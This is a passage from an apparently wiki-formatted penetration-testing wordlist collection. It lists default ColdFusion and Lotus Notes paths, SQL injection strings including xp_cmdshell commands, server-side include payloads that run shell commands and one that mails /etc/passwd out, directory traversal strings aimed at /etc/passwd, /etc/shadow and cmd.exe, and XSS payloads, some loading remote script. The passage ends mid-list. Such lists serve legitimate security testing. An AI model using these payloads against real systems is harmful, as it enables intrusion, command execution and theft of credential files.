.xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> 